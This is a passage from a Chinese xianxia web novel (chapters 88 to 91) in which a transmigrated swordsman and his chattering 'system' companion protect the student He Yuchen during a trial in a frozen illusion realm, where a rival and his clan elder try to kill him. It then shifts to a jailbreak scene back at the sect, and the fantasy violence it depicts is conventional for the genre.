贺煜臣不想深究对方究竟是谁,也许留恋世间的某位修士灵体,也许是徘徊在这里想找替身的伥鬼。但如果对方能给自己一个答案,他不介意以身犯险。 秦越默然,现在讨论他是否答应帮贺煜臣已经晚了。 因为贺煜臣能拜入无相峰,这足以证明他帮过贺煜臣。 贺煜臣的指尖划过书封,他的手指修长干净,没有劳作的痕迹,也没有像父母指腹上的冻疮。 可贺煜臣能清晰地感触到那处疮口一直长在自己身上,从来都没有好过。 他找到自己想要的那本书,摊开在桌上,“太虚神霄宗很久未招收门徒了,我查过之前破格被无相峰峰主收为徒弟的修士,均是天穹幻境比试中的第一名。” 天穹幻境。 据说此幻境仿佛悬浮于九天之上,云霞为路,星辰为灯,很多修士都会迷失在其中,再也找不到出来的路,但幻境中秘宝繁多,灵力充沛,不少强者会慕名而去。 而这比试的关键,则是要看中拿出来的东西价值几何。 秦越一言不发,盯着贺煜臣看了好一会,:“你想让我帮你在天穹幻境里夺得头筹?” 贺煜臣匆匆摇了摇头,有点着急地囫囵解释道:“我还没有那么拎不清,这与作弊又有何异。若是真那么做了,和那些人也没有什么区别了。我只是想让你帮忙看住早上与我起争执的人,他们很可能在背后使绊子,让我无法去幻境。” 他结结巴巴地说:“而且幻境里高手云集,虽然你实力可能在学宫这些人之上,我不是看轻你,但幻境里云龙混杂……”贺煜臣发觉自己越解释越像是瞧不起对方,慌乱地闭了嘴。 秦越目光一垂,嗓音里带着令人安心的沉稳。 “如你所愿。”—— 作者有话说:[求你了][求你了]私密马赛,俺回来了(跪) 第88章 一群人冒雨走在蜿蜒的山道上,远远看去像波动起伏的小黑点。 齐彰这段时间罕见的没找贺煜臣的茬,上次在学宫大庭广众下,两人起了争执,学宫管事虽说睁一只眼闭一只眼,但私底下还是不轻不重地警告了他。 为了防止这事被捅到家族里,齐彰不得不忍气吞声,走路都避开贺煜臣,防止自己看见贺煜臣那张脸,就忍不住想揍他。 每每见到贺煜臣那没什么波澜的眼神,自己都气得要死。 贺煜臣凭什么?! 若不是在学宫里,自己捏死他跟捏死只蚂蚁一样容易。 被水雾糊了满脸的齐彰心烦地埋怨道:“天穹幻境入口怎么开在这种地方?” 灵气稀微,外加幻境自身的禁制,使用法术也会片刻脱力,导致他不得不像个凡人一样往上攀爬。 齐彰身侧站着一个须发皆白的老者,听到这话没有过多反应,依旧目视前方同样在步行的其他学子,冷冷地回答:“齐少爷,家主派我过来只是为了你的安全。” 言下之意,你别指望能从我这边走什么捷径。 齐彰被噎得说不出来话,他半晌才将手举到老者眼前,“当然很危险,学宫里有人想要我的命!” 老者垂眸看了看对方手背上恶咒清除后留下的难看疤痕,有些讽刺道:“被人下了五瘟咒过了那么久才发现,能留下你这只手就不错了。” 他虽然称齐彰为少爷,但显然也没有给他太多的尊重。 齐彰瞳孔紧缩,终归没敢发脾气,毕竟对方是主家派来的长老。 自己当时是苦苦求了父亲好久,才勉强让父亲去主家那求来了这道“护身符”。即便对方以家臣自称,但自己也惹不起。 他深呼口气,将这笔账记在贺煜臣头上。 虽然没有证据,但在学宫里胆敢耍他的只有贺煜臣。 这小子表面上客客气气,说话低眉顺眼的,周围朋友觉得他小题大做,跟个来自凡人界的平民斤斤计较。但齐彰自诩火眼金睛,认定自己已经把贺煜臣看透了,他觉得这人不是什么善茬,实则上不知道什么时候就会咬你一口。 贺煜臣走在人群的最后,跟要么带着护身法宝,要么干脆带个家臣来幻境的人不同,他孑然一身,显得有些格格不入。 系统在空中飘累了,偷懒一屁股坐在贺煜臣的肩头,它看着明目张胆地带着帮手来秘境的人,震惊地自言自语:[这到底哪里公平了?怎么比赛还可以带个打手?] 它是没法懂人类的规矩,对于系统来说,定下一个规定,所有系统都将一视同仁地完成它,但是人类怎么还能耍赖呢? 这就不得不提天穹幻境的特殊之处了,不仅仅是学宫学子们的试炼场,外部的散修同样有资格进来,即使杀人越货在仙洲界不耻,也会被正道下令追杀,但还是会有人铤而走险,所以学宫对这些学生们携带个外挂也就不管不问了。 只要不是太过分,譬如事事全由他人经手,他们只当这个幻境是学生们实操所学法术的地方,若是学生在幻境里出了意外,学宫也不好给这些学生背靠的家族交代。 这一行人有的欢欣鼓舞跃跃欲试,当做这是一场刺激的冒险,有人兴趣缺缺,抱怨糟糕的天气,以及闲得没事非要他们来这里锻炼的学宫。 周围无论是欢声笑语,还是低声埋怨,都跟贺煜臣没关系,他抹了一把凝结挂在睫毛上的水珠,看着已经能看见轮廓带着光晕的石柱。 刚刚窃窃私语的声音,这一刻都变成了不由自主的感叹。 他们只能仰望着两根石柱中间仿若漩涡的阵法,临到要进去的时候,所有人都有些怯场了。 齐彰身侧的老者哼了一声,率先一步走了进去,齐彰艰难地挪了两步,被阵法中的灵气直冲脸面而来,他深吸了一口气,差点要被满满当当的灵气撑死。 这会他知道为什么这里灵气稀薄了,感情全被天穹幻境吸纳走了。 齐彰心脏都提到了嗓子眼,但眼见家族派来的长老连影都没了,顾不得害怕也钻了进去。 系统刚想告诉不知道在哪摸鱼的秦越一声,就被迫跟着贺煜臣一起穿过了那道漩涡。 秦越并不在这。 他之前让系统单独留在学宫里,叫它盯着齐彰,以免对方手脚不干净。 系统:[啥叫手脚不干净?] 秦越挑了挑眉示意它,“就像这样。” 系统扭过头,看见齐彰试图找到在一堆报名参加天穹幻境的名录中,找到贺煜臣的那份,然后将它毁掉。可惜那张纸都秦越附了障眼法,他在那兢兢业业地翻了老半天,一直没有找到才悻悻离开。 系统张了张嘴,感觉到了无语:[这么朴实无华的坏人?] [但是您要去哪?]秦越没理他,还非常不讲道理地不见了,系统很崩溃,觉得整个统都要晕过去了。 等眼下它后知后觉进了天穹幻境,系统开始急眼了。 凭它一个看不见摸不着的系统,它能帮反派渡过难关吗? 它配吗? 系统第一次跟秦越分开那么久,情急之下竟没有发现它把“帮助”和“反派”两个词,居然组在了一起。 此时秦越正悬腕起笔,他微微颔首敛眉,随即一笔而成,罡风有感而来吹起伏在书案上的符咒,一张化形符箓俨然已成。 天穹幻境不比学宫,它里面的东西,无一不是活了成千上百年的老妖怪,学宫里这些只会使绊子的小杂鱼跟幻境比,只不过是不入眼的蝼蚁。 保险起见,他需要一具可以依附的躯体。 说到这个幻境,秦越还依稀有点印象。 某日李无相带着他一众师弟师妹前往幻境,去的时候好好的,回来就有几个都快站不起来了,几乎是被其余人抬回来的。 李无相本不欲打扰秦越,他跟秦越相处那么久,依旧摸不准这个鲜少见面师尊的脾气,可是眼见师弟师妹们进的气要比出的气少了。他不得不硬着头皮,来到洞府里找秦越。他心一横,也不管会不会打扰秦越的清修,推开石门。 光透过石壁,照在了他那基本从不出门的师尊身上。如同假人玉雕一般的皮肤泛着没有生气的白,那一瞬间,李无相简直都要怀疑秦越已经坐化了。 正当他不知该不该出声时,秦越声音平静清晰地在洞府中响起,“何事?” 李无相赶紧把事情挑重点迅速讲了一遍。 他一直低着头,眼睛余光却看见秦越的衣角已经掠过他的身边。 “你是说天穹幻境里的一只畜生,伤了……”秦越皱了皱眉,想了一会也没个下文。 李无相见状赶紧接话,“伤了小五,小七和小八。” 他的师尊压根没怎么记过自己徒弟的名字,基本就是按收徒的顺序挨个称呼。 而且……李无相苦笑,秦越口中一句轻飘飘的畜生,是天穹幻境里一只有了道行的狼妖,他们本也无意去惊扰这只妖物,可这妖物在此地修炼太久,横行霸道惯了,路过的人都得挨他几巴掌,加上它本就是妖族出身,虽已得道,也改不了吃人的习惯。 李无相他们逃出一劫,但狼妖造成的伤口有剧毒,只能通过它的血来制药解毒。 秦越点头:“我知道了,你照顾好他们。” 他见李无相依旧愁容满面,思考了一下,将洞府中一只早已熄灭的蜡烛重新燃起,递给李无相,“等到它灭了,我就回来了。” 李无相接过那烧的只剩半截的蜡烛时,表情还是懵的,他只能眨巴着眼睛,呆呆地看着秦越身影瞬间消失。 他游魂似的回到了师弟师妹身边,没受伤的人问他,“师兄,你捧着个蜡烛干什么?” 李无相低头看了看蜡烛,又看了看满脸焦急的师弟师妹,若有所思地说道:“等。” 师妹:“啊?等死吗?” 受伤的人胸膛起伏已经十分微弱了,“师尊不愿意帮我们吗?” 李无相:“他说蜡烛燃尽了,他就回来了。” “可这半个时辰就燃尽了呀?从这里到天穹幻境就差不多要那么久时间了。师尊真的来得及吗……” 最初的迷茫过后,李无相神情冷静下来,“我们也做不了更多的了,先护住他们的心脉,等吧。” 烛光的火苗一点点变得黯淡,所有人的心变得焦灼和不安。 没人敢质疑秦越是不是出事了,亦或是秦越来不及取回狼妖的血,他们根本不敢往最坏的方向想。 突然门外一声巨响,就像晴天里一阵暴雷,把满怀心事的一群人吓了一跳。 他们赶紧闻声出去。 有个很高的东西遮住了阳光,影子把出来的几个人笼罩得严严实实。 李无相定睛一看,发现眼前的物什怎么好像……毛茸茸的。 狼妖正结结实实地横躺在院子里,瞳孔扩散,死了有一会了。 李无相整个人都石化了,僵硬的目光在秦越和狼妖尸体间来回转了几圈,难以置信:“师尊,这是……?” 秦越:“刚刚走得太急,没问你要取多少血。” 所以就只好把它“完整”带回来了。 秦越有些尴尬地看着被狼妖沉重的尸身砸出的坑,“嗯……皮毛也不错,可以做几件大氅。” 李无相:“……” 李无相回过神:“多谢师尊。” 那只在幻境里横着走的妖物,居然嘎巴一下轻易地就死了。 罡风散去,化形符箓被秦越拿起。 秦越回忆了一下那头狼妖的手感,又半垂着眼仔细看向化形符箓。 算了。 还是再写一张吧。 第89章 秦越视线下移,正准备起笔,几乎是同时,他觉得耳畔安静了许多,之前一直在絮絮叨叨不停的系统突然消停了。 那个蠢东西怎么没声了? 他这几日寻找制作符箓的材料抽不开身,但毕竟答应了贺煜臣的事情,他无论如何都会守诺,便让系统充当摄像头,有事就及时通知他。 但秦越错估了系统的话痨属性,恨不得每时每刻都事无巨细地转述。 系统的声音断得毫无征兆,大概是他们已经进入了幻境。秦越知晓轻重缓急,转瞬间桌案上只余一张染墨的白纸- 齐彰连打了好几个喷嚏。 这个鬼地方太冷了。 他揣着双手紧张地环顾四周,还没等他品味出来个所以然,就看见那个让他恼火的人。 察觉齐彰毫不掩饰的恶意,他身旁的老者淡声道:“齐少爷,不要节外生枝。” 齐彰被人一下子看穿了心思,被冻得发白的脸又猛地憋红了,“我没有那个意思!” 眼前白茫茫的一片,寒风如刀,削得每一寸裸露在外的肌肤生疼。贺煜臣站在雪原的尽头,不安地呼出一口气,白气在空中瞬间凝结成细小的冰晶,簌簌落下。 学宫众人一袭白衣几乎与周围雪景融为一体,这是一场试炼,自然不会有师父告诉他们该去做什么,哪里更安全。 大家互相看了一眼,四散而去,没多时,所有人的身影就消失在雪原中。 这里没有所谓的云霞星辰,也没有话本里九天之上的神仙,只有极致的寒冷。 贺煜臣不敢迟疑,他自己快冻僵了,必须要尽快找到一处可以栖身的地方。 又走了一炷香的时间,贺煜臣体内的灵力还在运转,让他不至于冻死当场,可是一直这么消耗下去也不是办法。贺煜臣随手擦了擦落在脸颊上的冰霜,他身形一僵,不知何处传来一阵奇怪的声响引起了他的警觉。 在这看不见人烟的地方,任何突如其来的动静都让人不安。 贺煜臣心下一跳,他条件反射地抬手横剑于胸前。 “啊,这不是贺师弟嘛。” 贺煜臣听到这个熟悉的声音,只想离得远些。 齐彰踩碎了脚下的冰碴子,走了过来:“真巧,这么大的地方我俩还能撞上。” 贺煜臣扭头就走。 齐彰赶忙拦住他,“你要去哪?这里都看不见个人的,不如我们结个伴,好歹安全点。” 闻言,贺煜臣走得更快了,齐彰小跑着才撵上他,“我发现一个地方灵气浓郁,但是有妖兽在附近徘徊……” 贺煜臣客客气气地说:“那恭喜齐师兄了,这么早就寻得秘宝。”他跟听不懂暗示一样,脚步不停。 “喂,你是聋了吗?”齐彰挤到贺煜臣面前,拦住他的去路,“我是看得起你才告诉你的,你不是想去太虚神霄宗吗!” 贺煜臣古怪地看了齐彰一眼,他又不是傻子,那么好糊弄吗? 见到贺煜臣依旧不为所动,齐彰急了,“我跟你说实话吧,我跟我的家臣走散了。但那处标记的地点,实则是我早就让人去踩点过的。” “那是狼妖的聚集地,不论是杀了取走内丹,还是活捉驯化作为灵兽,都绝对可以让我们在比试中脱颖而出。” “退一万步说,至少比你在这当无头苍蝇乱转靠谱多了,你不会那么小气吧,我都拿出我的诚意了。”齐彰搓着手,冻得直咧嘴,“能不能化干戈为玉帛。” 贺煜臣也听说过天穹幻境有狼妖,但这只是来自于人们口中代代相传的故事,传说中剑尊就曾斩杀过幻境里的一只狼妖。 他眉眼有些松动,齐彰乘胜追击,“这稳赚不赔的买卖,你到底干不干。” “那麻烦齐师兄带路了。”贺煜臣轻声吐出几个字。 齐彰指了一个方向,然后抱怨道:“早这样不就好了。” 两个人本就关系尴尬,一路无言地赶到齐彰做了标记的地点。 两侧冰川如被刀削斧劈过,只留下中间一道狭窄的通道。冰面上布满了爪痕,深浅不一,最新的几道还泛着暗红色的血光。 后心突然传来了掌风,贺煜臣一直全神贯注,当下迅速抽身躲开。 身后齐彰还保持着推他的姿势,贺煜臣向后退了一步,声音紧绷:“你骗我。” “贺师弟,我并没有骗你。”齐彰一掌并未得手,却也不恼,他诡异地笑着:“这里的确是狼妖的聚集地,可惜这群畜生不知怎的,竟极具防备心,布下了法阵护着这群还未成年的小崽子。” “破阵的方法也很简单,仅需一些人血罢了。” 贺煜臣回想起入口的鲜血,他死死盯着齐彰:“恐怕是不止一些吧。” 齐彰耸了耸肩,“我知道贺师弟你肯定不愿意配合我,所以……”他拍了拍手,一个人影缓缓地浮现在不远处,“长老,别看热闹了,取了狼妖内丹咱们直接走吧,这鬼地方不是人待的。” 贺煜臣胸膛急促起伏,他长吸一口气让自己冷静,冷气在他肺部像一簇簇长针,扎得他脸色灰白。 老者仅仅只是走了几步,铺天盖地的威压就让贺煜臣膝盖一软,他反手长剑驻地,勉强撑住自己的身体。 旁边齐彰的笑容实在是扎眼,贺煜臣只考虑了短短一瞬,便做出了选择。 很快齐彰就笑不出来了。 冰冷的长剑横在他的脖子前,只要他稍微动一动,就能轻而易举地划开他的动脉。 “大胆!”老者也没料到这人非但不跪地求饶,反倒是出手伤人,运起灵气挥手直奔贺煜臣而去。 贺煜臣趔趄了一下,随即立刻稳住了身形。 鲜血淅淅沥沥从额头上滑落,很快,贺煜臣一只眼已经浸入血液睁不开了。 他睁着另一只眼,平静地看着老者,依旧没有放开齐彰。 齐彰脖子上已经能看见不浅的血痕,他惶恐却又不敢大幅度的挣扎,只能拼命将脖颈远离要命的剑刃。 “长老……算了。”齐彰不敢大声讲话,只能哆嗦地挤出几个不成调的字,“要不让他走吧。” 齐彰刚说出他的想法,就听见一声喑哑的笑声。 带着血腥气,不轻不重地震得他心脏一抖。 “抱歉啊,齐师兄。”贺煜臣半张脸被血染红,唯有一只眼睛依旧清明,他言笑晏晏,但在齐彰眼里看起来不亚于恶鬼。“你得死在这了呢。” 齐彰浑身颤抖,他此刻披头散发,再没有曾经世家子弟的体面,色厉内荏道:“贺煜臣你开什么玩笑,若是杀了我,就别想能走出这幻境!” 贺煜臣听到这话,仿佛在他预料之中,没有任何的动容。只不过手上的剑离齐彰的脖颈更近一步,他从容平静地改口道:“那看来,我俩都得死在这了。” “你疯了……”齐彰放弃了挣扎,喃喃道:“贺煜臣你就是个疯子。” 贺煜臣艰难地笑了笑,这里太冷了,而他流的血也太多了。 “我也想活着啊。”贺煜臣睫毛垂下,凝固的血液变成了一张的血腥的面具,笼罩得他喘不过来气。 贺煜臣读出了老者此刻的眼神,看着他就像看着一个死人。 也就是说即使他现在放了齐彰,知道了真相的他,也没法活着离开这。 ……还不如拖个垫背的。 贺煜臣握着剑,目光看向老者,说的话却是对着齐彰,“一起下地狱吧。” 齐彰脸色憋得通红,突然他面容扭曲地大喊一声:“长老救我!” 倏忽间风雪四起,雪雾更是让人睁不开眼,贺煜臣瞳孔一缩,手中握住的剑却斩不下去分毫。 等到异相散去,被他挟持的齐彰已然变成了一座冰雕。 老者飘然落下,将那座冰雕隔空招来,他随手敲了敲外面那层冰壳,坚不可摧的外壳陡然脱落,里面的齐彰像是快溺死的人,猛地喘了好几口气,才缓过劲来。 “好小子。”老者赞赏地看了贺煜臣一眼,“生死关头还有这种觉悟。真是可惜了,不过你伤了齐少爷,我得保护他,杀你是不得已而为之。” 齐彰发出一声短促的尖叫,他虽然捡了一条命,可这种类似假死的法术,让他浑身冻得生疼,皮肤上全是红肿腐烂的冻疮。 他怒不可遏之下,也忘了老者实则在他之上的身份,开口命令道:“长老你还跟他废话什么!别让他死得太轻易了!” 老者双手结印,“那就只好让你体验一下齐少爷刚刚的痛苦了。” 晶莹剔透的冰墙瞬间出现在贺煜臣两侧,贺煜臣眼疾手快将长剑横亘在胸前,冰墙骤然收缩撞击在长剑两端,发出令人心颤的“轰隆”声。 僵持几秒后,长剑已出现不详的裂纹,贺煜臣另一只手毫不犹豫地抓住剑刃,为其注入最后的灵力。 热血滚滚顺着掌心而下,贺煜臣最后残存的意志不知道飘到哪里。 贺煜臣大脑一片空白,他想到了还在凡人界的父母,又想到一事无成的自己。 最后的最后,他想到一个连面都没有见过的人。 他终于撑不住了,颓然倒地,眼睁睁地看着冰墙如同白色的裹尸布将他一点点蚕食殆尽。 “真有意思。那么大的人了,还欺负一个小辈。” 戏谑的声音穿过风雪而来,一字不差地传到几个人耳朵里。 老者脸色顿时沉了下来,但他身份阅历在这,也做不到当场恼羞成怒翻脸。老者脸上的肌肉抖了几下,他的声音压着火:“来者何人?” 这个声音过于熟悉,也太过陌生。 贺煜臣难以置信地抬起头,漫天飞雪中,有人巍然屹立,像是一座永远不会倾塌的山峰—— 作者有话说:火速回来摸一张[化了] 第90章 系统喜出望外,连飞带滚地扑腾回秦越身边,还没站稳就大声告状:[宿主!那个糟老头子坏的很!] 秦越一反常态,没有赏它一个脑瓜崩,也没轻声呵斥它没用。 他反而顺了顺炸毛的系统,想了想又漫不经心地补充了一句:“他怎么欺负你们了?” 本来紧张兮兮的系统立刻被安抚好了,[他要把我们冻成冰雕!明明是他们自己使坏,还倒打一耙!] 秦越手一转方向,指了指不远处的老者,若有所思地问系统:“你喜欢什么样的冰雕?” 他的声音不大不小,但以齐家长老的耳力,听清楚不算困难。他看不见系统,理所当然地认为这是秦越对自己的敲打。长老忍不住哈哈大笑起来,这种口出狂言的毛头小子,他不是没见过,只不过大多成了他手下的亡魂。 “你可知我是谁?”长老脸上的笑意瞬间变成狰狞的嘲弄,“不过也没这个必要了,死在我的手里,也是你的荣幸。” 说罢,他闪电般地冲向秦越,一掌作势就要拍向对方的面门。 秦越苦恼地叹了一口气,他有点舍不得刚刚塑形的身体。 嗡—— 剑意破空而来,斩断了风雪,铮然声比雪原中呼啸的风更令人震颤。 那直达天灵盖的惧意,让长老生生停下了脚步。 他迟疑地看向脚前,面前空空如也,根本没有剑,可铺天盖地的剑意是无论如何都忽视不了的。 这怎么可能? 灵气必须要依附实体才能爆发出最大的力量,可是眼前之人怎能凭空将无实体的剑意凝聚起来? “你怎么停了?”秦越声音很轻,不等对方作答,挥手一抬,长老整个人被一双无形的手拽起来,紧接着被狠狠抛向一边。 老朽的身体接连砸碎几处冰川,才止住这气势汹汹的力道。他骨骼尽数断裂,口中喷出一口鲜血,剧痛猝不及防地让他仰面痛呼起来。 突如其来的变故,让齐彰硬生生地被定在原地。他眼中满是惊恐,手心一片滑腻,随机他猝然意识到那么冷的天气,自己居然出汗了。 跑?还是求饶? 齐彰瞳孔紧锁,看着不远处的身影,腿软地快要站不住了。 他滑跪得不假思索,急中生智地挤出几滴眼泪,“前辈不关我的事啊,我都是被迫的!”他心里在暗骂这个不知从哪冒出来的瘟神,怎么有人就喜欢多管闲事呢? 不疾不徐的脚步声停在他面前,齐彰战战兢兢地抬起头,正对上秦越的视线。 这个人脸色苍白得可怕,像是雪原的身外化身,可就是这副病态的身体,杀个人不过是抬手之间。 接着,他听见了冷淡的嗓音从头顶掷下。 “哦,是你啊。” 齐彰还没明白什么叫是你啊,自己以前见过他吗? 可是没有让他弄明白的机会了。 天旋地转之下,齐彰瞪大了眼睛,他的视线定格在一具无头的尸体上。 ——那是他自己的身体。 秦越绕过还跪在地上的尸体,待看清楚贺煜臣的情况后,脸色开始变得难看起来了。 系统小心翼翼地开口:[啊,反派好像有点死了。] “死不了。”秦越试探了一下贺煜臣的脉搏,暂时松了一口气。 剑意死死锁住最后一口生气,要不然凭着这种流血量,早就下线杀青了。好在天气太冷,血凝固在伤口上,一时半会竟是也不怎么流血了。 这会秦越又开始头疼起来了,如果贺煜臣死在这,就不提能不能充当日后主角感情的绊脚石了,这直接造成了一个时间悖论,日后他就不可能在太虚神霄宗见过贺煜臣。 系统要长脑子了,它表情万分复杂:[宿主您想救人可以直接救,不用找各种理由的。] 时间在暴风雪中失去了意义,秦越感觉到贺煜臣的身体开始有了一丝暖意,火灵咒兢兢业业地充当着加热毯,防止贺煜臣在这种虚弱的情况下患上失温症。 贺煜臣的睫毛颤抖了几下,喉咙里发出一声几不可闻的呻吟。 “贺煜臣?”秦越侧过头确认对方是否恢复了意识。 贺煜臣目光涣散,勉强对上声音的方向,他表情仍旧有些懵,吃力地想触摸一下额头的伤口,被秦越迅速地阻止了,“别碰。” 过了好一会,贺煜臣才开口:“我看不见了。” 秦越皱了皱眉,看向系统。 系统摊了摊手:[可能是被打到脑袋,颅内血块压迫到了视神经,但还有种可能就是雪盲症……] 秦越看着系统,像在看一个无能的AI,“我怎么觉得你在现编?” 系统被秦越拯救后的那一点温情荡然无存,刚刚温柔体贴的秦越仿佛是它被冻死前的幻想,它憋着气转过身用屁股对着秦越。 秦越不知道怎么安慰贺煜臣,“你需要出幻境……” “不。”贺煜臣知道秦越想说什么,他不会放弃这次机会。“看不见不影响试炼,我还能走。”他顺着秦越的力道站了起来,半晌后知后觉地说:“你借尸还魂了?” 秦越:“……” 贺煜臣久久听不到秦越的声音,有些慌了,“你还在吗?” 秦越揣着双手,看着贺煜臣抓瞎地在周围试探了一番,才施施然伸手扶住他,“在啊,刚刚正在吃人。” 贺煜臣皱了一下鼻子,有点嫌恶:“你把齐彰吃了?” 齐彰缺了个脑袋的尸体,现在已经被风雪披上一层冰,变成了一个没有什么美感的冰雕。 秦越有点不想吐槽贺煜臣的固执想法,贺煜臣对自己是个恶鬼的设定根深蒂固,他顺着贺煜臣的话说:“我总得需要一些灵力补充,要不然怎么救你。” 贺煜臣的“眼神”变成了果然是这样,但他还是说了句:“齐彰的灵力全是药物堆砌起来的,你吃了不会有事吧?” 有什么事? 恶鬼难道还会闹肚子吗? 秦越眼角一抖,觉得贺煜臣脑子大概是真出了点问题,但他还没有小心眼到跟病人计较,“现在你怎么完成试炼?” 秦越边问边随手抓了把雪,等雪被融化后,他细细地擦去贺煜臣脸上的血迹。 贺煜臣被冰地一激灵,他拍了拍有些麻木的脸颊,“齐彰还是干了件人事,把我带到这里。” 远处的狼嚎声应景出现,秦越打量了几眼这个地方,总觉得很眼熟。 蓦然他在零零散散的记忆里,找到了这个地方。 “这是狼妖的聚集地。”贺煜臣虽然看不见,但不详的危机感让他绷紧了肌肉,“传说剑尊曾斩杀了他们的首领。” 被贺煜臣下意识掐住小臂的秦越咬紧后槽牙:“……你别紧张。” 他当年以为这里就一头狼妖,没想到那只横行霸道的狼妖居然还有那么多后代,真是把幻境当自己家了。 但转念一想,狼本身就是很有领地意识的群居动物,这就不足为奇了。 可是为何自己当年自己没能发现? 贺煜臣:“只不过这里被步下了法阵,我们若是想取内丹,还要费些功夫。” 怪不得。 秦越放眼望去,山谷四处确实布满了阵法,有些阵法上还隐约残留着干涸的血迹,像是被鲜血浇灌后留下的。 当年他一心在救人上,取了那头狼妖的性命后,也就没有闲心在这里逗留排查了。 秦越看着贺煜臣摸索着阵法的符咒,随后又拿根树枝在雪地上写写画画,他忍不住问道:“你又看不见,你记在雪上面有什么用?” 贺煜臣朝他比了个噤声的姿势,“我不是记东西,只是推算。世间阵法大都不止一个解法,只不过大家都喜欢寻求最简单的那个罢了。” 系统抱着脑袋:[我真的要长脑子了……] 在它嚎完没几分钟,就像不知道意外和明天哪天到来一样,同理惊喜也是。 [收到总局的通知啦,我们可以撤退了!] 秦越单手控制着火灵咒,另一只手托着脸看着贺煜臣“解题”:“别急,我想知道他能不能得到答案。” 系统:[?] 之前明明想跑路的也是你,现在又不急了?真是不懂人类。 皓月当空,雪原变成了泛着墨蓝光泽的镜面,而在这幽暗的镜面上,银河倾泻而下。 秦越有些分不清天与地的界限,抬头是亿万颗星辰悬于穹顶,低头却又是同样的星群在脚下流淌。 “我知道了。”贺煜臣猛地抬起头,他呵出的白气模糊了面容,星辰落在他空洞的瞳孔上,随着他激动惊喜的表情,在眼中熠熠生辉。 他摸索着走过来,想要跟秦越分享发现,“我就知道,世间的法则不可能那么残酷,不给人留下一道活路。” 贺煜臣眼睛亮亮的,这时候他又变成了凡人界里,那个刚刚接触到火灵咒的孩子,只有对法术的好奇和渴望。 “我赢了。”贺煜臣小声地吐出几个字,带着一点自己没有发现的雀跃,“我根本不比那些人差。” 秦越没有说话,在某个他也不知道的瞬间,仿佛有一道流星坠落在他心里,突然炸裂成千千万万的星火。 “嗯。”秦越反手握住对方冻得冰冷的手,“你很厉害。” 贺煜臣这才感觉到冷,他忍不住打了个喷嚏,然后他心安理得地靠着秦越,找了个舒服的姿势就开始睡觉,他迷迷糊糊中跟秦越打着商量,“你吃了齐彰可就不能吃我了。” 秦越好笑地摇了摇头,他朝系统抬了抬下颌,“可以了。” “……明天我就把这个阵法解开,我们就可以离开这了。”贺煜臣像是预感到了什么,梦呓般地喃喃道。 没有我们了。 也许,你还能在几十年后,在太虚神霄宗里再一次见到我。 那是来自过去的我—— 作者有话说:大概还有两三章这个世界就结束了[化了]我终于要写完小世界了哈哈哈哈()魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 再睁开眼的时候,没有想象中一群人围在床边惊喜地说你醒啦! 也不是硅基生物占领地球的末日场景。 眼前的场景甚至可以说有点眼熟。 可怜兮兮的石壁被劈成两半,旁边震碎的石块无言地控诉着暴行。 而这场暴行的“幕后黑手”秦越懵了:“这不对吧。” 系统睁着眼喃喃道:[我们怎么又回来了?] 它甚至比秦越更着急,连后台信息都没看,绕着这个山头飞了两圈,最后不得不认清了现实,他们又回到了太虚神霄宗,更准确地说是那处曾藏有剑意的石壁。 系统趁着秦越还在茫然,没时间暴击它的时候,疯狂地朝总部求援,可是只有滋滋啦啦的忙音,这让它得出了一个恐怖的结论—— 他们跟总部失联了!! 四目相对。 系统猛地一拍脑门,恨不得把自己拍晕在当场,也比接收秦越能戳死人的视线要好。 秦越皱了下眉,他随手探了探周围的灵气,通过残留的灵气推断,现在应当是回档的那个时间点不久之后。 怎么会来这里? 系统像是知道秦越要问什么,也可能是智商突然占领高地了,它急匆匆地说:[是男主,他貌似要挂了!] 屏幕被干扰了一样,大面积地花屏,但代表男主的小红点依然在突突地狂跳,显眼又不详- “师兄——” 哪里来的蚊子在叫? 贺煜臣微微起身,随后眼前一黑,头晕目眩之下差点没站稳。 正如慕温瑜所言,戒律堂确实下手不清。 祁鸿羽还在牢房外面掐着嗓子喊他:“师兄,我来救你了。” 房间里一片漆黑,他在外面看不清贺煜臣,加上又听不见声音,祁鸿羽害怕对方不省人事了,当即加快手下的动作,把门锁偷偷打开。 “……你哪来的钥匙?” 黑暗里冷不丁冒出一句话,把祁鸿羽吓个半死,等他听出这是贺煜臣的声音后,祁鸿羽忍不住小声埋怨:“你刚刚怎么不吱声。” 贺煜臣忍着痛,隔着桎槛止住了祁鸿羽的动作:“你疯了?” 祁鸿羽一听差点跳脚:“是他们疯了好不好!不分青红皂白就要杀你。别废话了,你赶快出来!” “剑意呢?” 祁鸿羽脸红了又黑,黑了又红:“师兄你这时候还在纠结这个?”他一见贺煜臣一副不说就拒绝沟通的样子,叹了口气:“没有找到。肯定是那个人带走了,我跟慕温瑜说了你也算是个受害者,但是他不听。你也知道他是个老古板——” “我知道了。”贺煜臣打断他,“那我更不能连累你了。” 祁鸿羽:“……”说古板他师兄何尝不古板呢。 他不由分说地把人直接捞出来,虽然平时他不是贺煜臣的对手,但贺煜臣在戒律堂走了一遭,身上都是未愈的伤痕,他难得压了贺煜臣一头。 不过祁鸿羽之前一直都是被人善后的那位,对于救人他没什么经验。 贺煜臣被他重创了好几次伤口后,疼得眼前都要开始有重影了。 他咬着牙问:“有没有人说过你很笨?” 祁鸿羽半忙之中应付了一下问话的贺煜臣:“有啊,宗门里授课的那些老头都说我笨啊。” “慕温瑜也说我没心眼,还有师兄你,虽然嘴里没说,但是心里估计也是那么想的。不过你每次想归想,但都会给我兜底,这次终于轮到我大显身手了。那么师兄,请问你掉的是这个金丹药呢,还是这个银丹药呢?” 对方回答得很坦然,还在间隙中递给他两颗丹丸。 药香冲破了血腥味,贺煜臣用力咬了一口下唇,刺痛让他清醒了一点。他盯着祁鸿羽那双澄澈、藏不住一点心思的眼睛,突然释然地笑了一声。 他一直以为祁鸿羽脑子不好,看不出好歹,甚至敢当面对他说出自己妖族的身份。 当时有那么一刻,自己是想找个机会当众人的面拆穿这个事实的。 祁鸿羽只是一个很简单的人,世界对他来说只有两种人,一种是对他好的,一种是对他不好的。 贺煜臣费力地抬头看着祁鸿羽,“为什么今天一路上没有人?” “因为宗门比试提前了,他们都聚在前山。”祁鸿羽挠挠头,“我这点脑子还是有的。” 提前了? 贺煜臣眼皮一跳。 “不对!” 周遭灵气凝滞,剑光四射,各峰峰主如临大敌,等到看清被包围的两个人时,慕温瑜脱口而出:“你怎么在这!” 剑意失窃,比试不推迟就不错了,怎么在这种节骨眼上还会提前,明显是这些人想卖个破绽,等着他所谓的同伙来救他。 但他们万万没想到,来的是祁鸿羽这个傻子。 